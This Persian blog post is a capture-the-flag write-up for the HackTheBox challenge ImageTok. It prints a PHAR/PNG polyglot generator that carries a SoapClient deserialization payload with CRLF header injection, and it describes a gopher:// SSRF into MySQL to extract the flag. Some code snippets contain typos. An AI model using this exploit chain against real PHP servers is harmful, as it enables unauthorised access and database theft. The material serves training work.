حل چالش ImageTok در HackTheBox
بدون دیدگاه

در این مطلب نتیجه چندین روز تلاش تیم Unk9vvN برای حل سخت ترین (تا امروز) چالش سایت HackTheBox به اسم ImageTok را تشریح می کنیم. در این چالش وب، کد منبع (source code) برنامه سمت سرور فاش است. یعنی ما تمام کد PHP سمت سرور، Dockerfile مربوط به راه اندازی سرور و تمام فایل های تنظیمات را در اختیار داریم. با نگاهی کلی به ساختار فایل ها و معماری کلی برنامه، می توان تشابه زیادی با Web Framework های مشهوری مثل Laravel یا Symfony دید. اما در این چالش، یک فریمورک شخصی و ساده توسعه داده شده است.
فهرست محتوا
پنهان
بررسی فایل entrypoint.sh
این فایل که وظیفه راه اندازی اولیه ماشین را دارد، شامل اطلاعات مهمی است. از این فایل می توان فهمید که پرچم در پایگاه داده قرار دارد.
INSERT INTO $DB_NAME.definitely_not_a_flag (flag) VALUES('HTB{f4k3_fl4g_f0r_t3st1ng}');
از همین فایل مشخص می شود که پایگاه داده رمز ندارد و نام کاربری و نام پایگاه داده که مقادیری تصادفی هستند، به عنوان پارامتر به CGI وارد شده اند.
echo -e "fastcgi_param DB_NAME $DB_NAME;nfastcgi_param DB_USER $DB_USER;nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params
همچنین مشخص است که SECRET استفاده شده در فایل index.php قبل از اجرا با مقداری کاملا تصادفی جایگزین می شود که بعدا بیشتر در مورد آن توضیح می دهم.
sed -i "s/[REDACTED SECRET]/$SECRET/g" /www/index.php
تحلیل چگونگی پاسخگویی سرور به درخواست ها
با توجه به فایل nginx.conf می توان دریافت که تمام درخواست هایی که توسط سرور تجزیه و تحلیل می شود به فایل index.php برای دریافت پاسخ، ارسال می شود.
location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ .php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
مهم ترین بخش فایل index.php بخش تعریف مسیر های وبسایت است که به شکل زیر تعریف شده است. هر مسیر با Method مشخص (POST یا GET) به یک تابع درون یکی از کلاس های Controller مرتبط می شود. کلاس های کنترل همگی در پوشه controllers تعریف شده اند. در یکی از این مسیر ها، ورودی param از طرف کاربر نیز به تابع کنترل مربوطه ارسال می شود که جالب توجه است.
$router = new Router();
$router->new('GET', '/', 'ImageController@index');
$router->new('POST', '/upload', 'ImageController@store');
$router->new('GET', '/image/{param}', 'ImageController@show');
$router->new('POST', '/proxy', 'ProxyController@index');
$router->new('GET', '/info', function(){
return phpinfo();
});
بررسی Route ها
در اولین مسیر (ریشه سایت) فرم آپلود وجود دارد و جای کنکاش چندانی نیست. اما در دیگر مسیر ها موارد مهمی هست که باید بررسی شود:
info/در این صفحه اطلاعات مفید تابعphpinfoوجود دارد که قطعا در ادامه حل چالش مفید خواهند بود.upload/مسیری است که فرم آپلود، اطلاعات را به آن میفرستد. این پخش فایل آپلود شده را دریافت می کند و پس از گذراندن از فیلتر های مشخص در سمت سرور ذخیره می کند.image/{param}/از این مسیر می توان فایل آپلود شده را مشاهده کرد. (البته یک سری فیلتر در این مرحله اعمال می شود.)proxy/پس از چند شرط از جمله admin بودن نام کاربری ذخیره شده در نشست فعلی و127.0.0.1بودن آدرس آیپی کلاینت، با استفاده از CURL درخواستی به آدرس مشخص شده در پارامترurlارسال می کند.
تا اینجا می توان اینطور تصور کرد که ما باید بتوانیم با دسترسی پیدا کردن به مسیر proxy/ و رد کردن تمام فیلتر های موجود، درخواستی به وسیله CURL ارسال کنیم. اما سوالی که مطرح می شود این است که به کجا؟
از آنجایی که این سرور در Docker راه اندازی شده است و جز یک پورت (وب) پورتی را به بیرون باز نکرده است، ما مستقیما به پایگاه داده دسترسی نداریم و حتی با این که نام کاربری و رمز ورود را میدانیم، نمی توانیم به پایگاه داده دسترسی بگیریم. با این اوصاف، به نظر این سناریو بسیار محتمل است که با ارسال درخواست از سمت سرور وب (داخل Docker Container) به پایگاه داده، از آن اطلاعات استخراج کنیم. از آنجایی که Wrapper جذاب Gopher برای CURL فعال است (با توجه به phpinfo)، این سناریو هدف ما قرار گرفت.
بررسی ProxyController
با توجه به تابع index کلاس ProxyController که مسیر proxy/ را هندل می کند، ابتدا باید این شرط را دور بزنیم:
if ($session->read('username') != 'admin' || $_SERVER['REMOTE_ADDR'] != '127.0.0.1')
{
$router->abort(401);
}
- باید نام کاربری ثبت شده در Session Cookie برابر admin باشد: برای این مورد باید کلاس مربوط به مدیریت نشست کاربر که در فایل
CustomSessionHandler.phpتعریف شده است، بررسی شود. - باید مقدار
SERVER['REMOTE_ADDR']_$برابر127.0.0.1باشد: دو احتمال وجود دارد. اول این که آسیب پذیری ای در تنظیمات وب سرور این امکان را بدهد که مقدارREMOTE_ADDRرا دستکاری کنیم. دوم این یک آسیب پذیری SSRF (Server Side Request Forgery) از سایت کشف کنیم و در صورت امکان از آن استفاده کنیم.
بررسی CustomSessionHandler
در این کلاس دو تابع مهم وجود دارد که کار اصلی امضا کردن کوکی (Cookie) نشست و تایید کردن آن را انجام می دهند.
تابع Constructor این کلاس، در صورت ارسال کوکی از سمت کاربر، شروع به بررسی صحت آن به وسیله SECRET می کند. (مقدار SECRET در فایل entrypoint.sh بررسی شد که کاملا تصادفی و مقداری غیرقابل حدس زدن است.)
public function __construct()
{
if (isset($_COOKIE['PHPSESSID']))
{
$split = explode('.', $_COOKIE['PHPSESSID']);
$data = base64_decode($split[0]);
$signature = base64_decode($split[1]);
if (password_verify(SECRET.$data, $signature))
{
$this->data = json_decode($data, true);
}
}
self::$session = $this;
}
تابع save یک کوکی نشست را امضا کرده و به سمت کاربر ارسال می کند.
public function save()
{
$json = $this->toJson();
$jsonb64 = base64_encode($json);
$signature = base64_encode(password_hash(SECRET.$json, PASSWORD_BCRYPT));
setcookie('PHPSESSID', "${jsonb64}.${signature}", time()+60*60*24, '/');
}
برای مثال این یک نمونه از کوکی نشستی است که توسط این تابع تایید می شود. بخش اول داده ها را در خود دارد و از . به بعد مربوط به امضای داده هاست.
دستکاری مقدار REMOTE_ADDR
جستجوی زیادی انجام دادیم تا آسیب پذیری ای در سرور وب nginx برای این مورد پیدا کنیم. هیچ یک از موارد یافت شده با شرایط این چالش همخوانی نداشتند. در نتیجه به دنبال آسیب پذیری SSRF در وبسایت گشتیم.
آسیب پذیری SSRF
آسیب پذیری SSRF می تواند برای تغییر مقدار REMOTE_ADDR به 127.0.0.1 استفاده شود. بخشی که می تواند دچار این آسیب پذیری باشد، بیش از همه مسیر image/ است. این مسیر در وبسایت وظیفه نمایش عکس های آپلود شده را به عهده دارد. این کار با دریافت یک پارامتر در URI به عنوان نام فایل عکس، انجام می شود. تابع زیر کنترل مربوط به این مسیر است.
public function show($router, $params)
{
$path = $params[0];
$image = new ImageModel(new FileModel($path));
if (!$image->file->exists()) {
$router->abort(404);
}
$router->view('show', ['image' => $image->getFile()]);
}
در این تابع یک شیء از کلاس ImageModel ساخته می شود و در صورت وجود این فایل، از تابع getFile برای نمایش آن در قالب فایل views/show.php استفاده می شود. این تابع در کلاس ImageModel به این شکل تعریف شده است:
public function getFile()
{
if (!$this->isValidImage())
{
return 'invalid_image';
}
return base64_encode($this->file->getContents());
}
در صورت معتبر بودن فایل به عنوان یک عکس، Base64 شده تابع getContents کلاس FileModel باز گردانده می شود.
public function getContents()
{
return file_get_contents($this->file_name);
}
ویژگی file_name در Constructor کلاس FileModel مقداردهی می شود و همان مقدار پارامتری است که به عنوان path از کاربر به عنوان نام فایل عکس دریافت شده است. نکته جالب در این قسمت این است که این پارامتر urldecode شده است.
public function __construct($file_name)
{
chdir($_ENV['UPLOAD_DIR'] ?? '/www/uploads');
$this->file_name = urldecode($file_name);
parent::__construct();
}
پس ورودی ما در قسمت {param} مسیر image/{param}/ بدون هیچ پاکسازی ای و بعد از urldecode شدن به تابع خطرناک file_get_contents پاس داده می شود. البته یک سری شرط وجود دارد که در صورت برقرار نبودن آنها اجرای برنامه به این تابع نمی رسد. پس لازم است آن شرط ها بررسی شوند.
- تابع
existsکلاسFileModel: وجود داشتن فایل. - تابع
isValidImageکلاسImageModel: فرمت PNG فایل و ابعاد بیش از 120 در 120.
در اینجا ورودی کاربر بدون پاکسازی به یک تابع خطرناک دیگر به اسم file_exists پاس داده شده است. یعنی به راحتی می توان از تمام Wrapper های فعال در سمت سرور استفاده کرد. (البته مواردی که در بخش CURL صفحه phpinfo مشخص شده اند، قاعدتا در اینجا قابل استفاده نیستند.)
public function exists()
{
return file_exists($this->file_name);
}
در این تابع بر اساس محتوای فایل، فرمت و ابعاد آن شناسایی می شود. این بدان معنی است که ما تنها می توانیم محتوای فایل های PNG سمت سرور را استخراج کنیم که جذابیت تابع file_get_contents را کمتر می کند.
public function isValidImage()
{
$file_name = $this->file->getFileName();
if (mime_content_type($file_name) != 'image/png') return false;
$size = getimagesize($file_name);
if (!$size || !($size[0] >= 120 && $size[1] >= 120) || $size[2] !== IMAGETYPE_PNG)
return false;
return true;
}
در بین Wrapper های موجود، phar برای کار ما مناسب است. تیم ما، برای برخی دیگر از گزینه های موجود سناریو هایی را امتحان کرد که هیچ کدام به نتیجه نرسید. مثلا:
- http و https: امکان ارسال درخواست POST را به ما نمی دهد.
- php: هیچ فیلتری برای ارسال درخواست وب وجود ندارد.
بخشی از phpinfo که نشان می دهد phar wrapper فعال است. اما چرا phar مناسب است؟ سناریوی مربوط به آن چه چیزی می تواند باشد؟
حمله با فایل فرمت PHAR
فرمت فایل PHP Archive (PHAR) برای انتشار Package های PHP استفاده می شود و از این جهت مشابه JAR برای زبان Java است.
این فرمت فایل، ویژگی هایی دارد که آن را برای استفاده در این چالش مناسب کرده است. (پیشنهاد میکنم برای آشنایی بیشتر با این فرمت فایل به این لینک مراجعه کنید)
- مناسب برای Polyglot: اولین بخش این فایل stub نام دارد که از بایت صفر فایل شروع می شود. این بخش می تواند هر مقداری داشته باشد. پس این فایل از بایت صفر قابل تغییر است و به سادگی می توان آن را به عنوان فرمت فایل های دیگر (مثلا PNG) جا زد.
- آسیب پذیری Deserialization: این فرمت فایل بخشی به اسم Meta Data دارد. این بخش یک شیء Serialize شده از PHP را در خود ذخیره می کند. هر گاه فایل به وسیله Wrapper مربوطه، یعنی
//:phar، مورد استفاده قرار گیرد، این شیء به طور خودکار Deserialize می شود.
Polyglot: PHAR / PNG
<?php
class ImageModel
{
public $file;
public function __construct()
{
$this->;file = new SoapClient(null, array(
"location" => "http://localhost:80/proxy",
"uri" => "http://localhost:80/proxy",
"user_agent" => "\r\n\r\n\r\n\r\n" .
"POST /proxy HTTP/1.1\r\n" .
"Host: admin.imagetok.htb\r\n" .
"Connection: close\r\n" .
"Cookie: PHPSESSID=$admin_session_cookie;\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n" .
"Content-Length: $gopher_payload_length\r\n\r\n" .
"url=$gohper_payload" .
"r\n\r\n\r\n\"
));
}
}
@unlink('payload.phar');
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFile($image_file, $image_file);
$phar->setStub(file_get_contents($image_file) . ' __HALT_COMPILER(); ?-->');
$phar->setMetadata(new ImageModel());
$phar->stopBuffering();
system('mv payload.phar payload.png');
با اجرای این کد، فایل file.phar ایجاد می شود که با تغییر نام آن به file.png می توان آن را به جای فایل PNG در سرور آپلود کرد. البته این یک عکس صحیح و قابل نمایش نیست. اما تمام شرط های سمت سرور را دور میزند. در عین حال این یک فایل PHAR نیز هست که می توان از Deserialization روی Meta Data آن استفاده کرد.

نتیجه Polyglot PHAR / PNG
در ابتدای فایل، هدر PNG قرار گرفته است و در ادامه در نقطه ای که میبینید، شیء Deserialize شده زبان PHP در فرمت Phar گنجانده شده است.
حمله علیه Deserialization
برای انجام این حمله ما نیاز داریم یک POP Chain (Property Oriented Programming) مناسب در برنامه سمت سرور پیدا کنیم. با توجه به این که در PHP نقطه ابتدایی در POP Chain یکی از Magic Method های destruct__ یا awake__ است، در کد سمت سرور به دنبال این توابع گشتیم و فقط یک مورد یافت شد. تابع destruct__ کلاس ImageModel تنها نقطه ابتدایی برای انجام حمله است.
public function __destruct()
{
if (!empty($this->file))
{
$file_name = $this->file->getFileName();
if (is_null($file_name))
{
$error = 'Something went wrong. Please try again later.';
header('Location: /?error=' . urlencode($error));
exit;
}
}
}
در این تابع، از ویژگی file استفاده شده است. این ویژگی در روند عادی اجرای برنامه یک شیء از نوع FileModel است. در اینجا تابع getFileName آن فراخوانی شده است. اما این تابع در کلاس FileModel کار خطرناکی انجام نمی دهد. در نتیجه باید به دنبال شیئی دیگر برای ویژگی file باشیم.
پس از جستجوی بسیار و بررسی کلاس های Built-In زبان PHP برای یافتن POP Chain مناسب، به نتیجه ای نرسیدیم و اینجا کار ما برای مدت ها متوقف شد. اما نکته ای بسیار جالب از دید ما مخفی مانده بود. در فایل Dockerfile پکیج php7-soap و چند پکیج دیگر نصب می شود که در برنامه سمت سرور هیچ استفاده ای از آنها نشده است. این نکته در phpinfo نیز قابل مشاهده است.

افزونه Soap در PHP
بخشی از phpinfo که نشان می دهد در زبان PHP افزونه Soap Client و Soap Server فعال است.
این پکیج به عنوان یک extension به زبان PHP اضافه می شود. وظیفه این افزونه فراهم کردن پروتکل SOAP API است و کلاس های Built-In ی را به PHP اضافه می کند که می تواند برای ساخت Payload مربوط به Deserialization مفید باشد.
تابع جادویی call__
کلاس مدنظر SoapClient است. در این کلاس از Magic Method جذاب call__ استفاده شده است. در صورتی که تابعی از این کلاس فراخوانی شود که تعریف نشده است، به طور پیشفرض این تابع فراخوانی می شود. این دقیقا همان چیزی است که هنگام فراخوانی getFileName به طور پیشفرض، فراخوانی خواهد شد. جالب آن که تابع call__ در کلاس SoapClient به گونه ای تعریف شده است که یک درخواست به API هدف ارسال می کند. این یعنی می توان از آن برای حمله SSRF استفاده کرد.
اما چطور می توان Header های درخواست و آدرس و … را مشخص کرد؟ با بررسی طرز استفاده از این کلاس به جواب می رسیم. اگرچه راه مشخصی برای ارسال درخواست POST و تعیین Header ها از راه ایجاد شیء کلاس SoapClient وجود ندارد، اما می توان از آپشن user_agent برای انجام تزریق CLRF استفاده کرد. به این شکل ویژگی file را مقداردهی می کنیم:
class ImageModel
{
public $file;
public function __construct()
{
$this->file = new SoapClient(null, array(
"location" => "http://localhost:80/proxy",
"uri" => "http://localhost:80/proxy",
"user_agent" =>; "\r\n\r\n\r\n\r\n".
"POST /proxy HTTP/1.1\r\n". // new request
"Host: admin.imagetok.htb\r\n".
"Cookie: PHPSESSID=$ADMIN_SESSID;\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: $LENGTH\r\n\r\n".
"url=$URL".
"r\n\r\n\r\n\"
));
}
}
مقدار Host برابر admin.imagetok.htb قرار داده شده است، چرا که در فایل ngnix.conf دسترسی به مسیر proxy/، بدون تنظیم کردن این مقدار، غیر فعال شده است. مقدار کوکی نشست نیز باید به گونه ای نتظیم شود که نام کاربری برابر admin باشد. مقدار URL نیز همان پارامتری است که در تابع index کلاس ProxyController به عنوان مقصد ارسال درخواست گرفته می شود.
تیر خلاص با Gopher
حال کافی است مقدار url را برابر Payload ساخته شده توسط ابزار Gopherus قرار دهیم. ما نام کاربری و نام پایگاه داده را از phpinfo استخراج کرده ایم. پس می توانیم Payload را به راحتی ایجاد کنیم. اما دو مسئله وجود دارد.
- در کلاس
ProxyControllerسه شرط مربوط به url وجود دارد: این شرط ها با تبدیل//:gopherبه///:gopherدور زده می شوند. چرا که از تابعemptyروی هر سه پارامترurlاستفاده شده است و خالی بودن آن ها باعث رد شدن از شرط می شود. - ما خروجی اجرای این Payload را نمی بینیم: یک راه می تواند حمله کورکورانه (Blind-Based) باشد که در صورت امکان بسیار زمان بر است. اما یک راه حل هوشمندانه دیگر وجود دارد. کلاس
UserModelلیست فایل های آپلود شده توسط هر کاربر را از پایگاه داده استخراج می کند و به شکلی که قبلا توضیح داده شده است درون کوکی نشست وارد می کند. این یعنی ما با نوشتن داده های خروجی مورد نظر خود در جدولfilesپایگاه داده می توانیم آن ها را در کوکی نشست مشاهده کنیم.
public function getFiles()
{
$files = $this->database->query('SELECT file_name FROM files WHERE username = ? ORDER BY created_at DESC LIMIT 5', [
's' =>; [$this->user]
]);
return $files->fetch_all(MYSQLI_ASSOC) ?? [];
}
این کوئری را به عنوان ورودی ابزار Gopherus برای ساخت Payload وارد میکنیم تا پرچم را در کوکی نشست کاربر flag دریافت کنیم. این Payload باید در پارامتر url مسیر proxy/ از طرف خود سرور، به وسیله SoapClient ارسال شود تا ما به هدفمان برسیم.

ابزار Gohperus
این ابزار با ورودی های صحیح که از phpinfo به دست آمده است و SQL Query مناسب استفاده شده است.
نکته: پس از ارسال این Payload موفق به مشاهده پرچم نشدیم که بعد از کلی بررسی به این نتیجه رسیدیم که Payload مربوط به Gopher باید یک بار دیگر Urlencode شود تا Decode شدن آن در هنگام ارسال توسط SoapClient بی اثر شود.
بهرهبرداری این چالش هم در Github ما منتشر شده است.
بازدیدهای پست: 10,802
نوشتههای تازه
- مهندسی پرامپت هوش مصنوعی 5 تیر 1404
- مدیریت پروژه و CI/CD با Git و GitHub 27 اردیبهشت 1404
- برنامه Docker برای آزمایشگاه کشف آسیبپذیری 19 اردیبهشت 1404
- نقشه راه تست نفوذ وب 25 اردیبهشت 1403
- مقدمه ای بر امنیت سایبری 25 اردیبهشت 1403


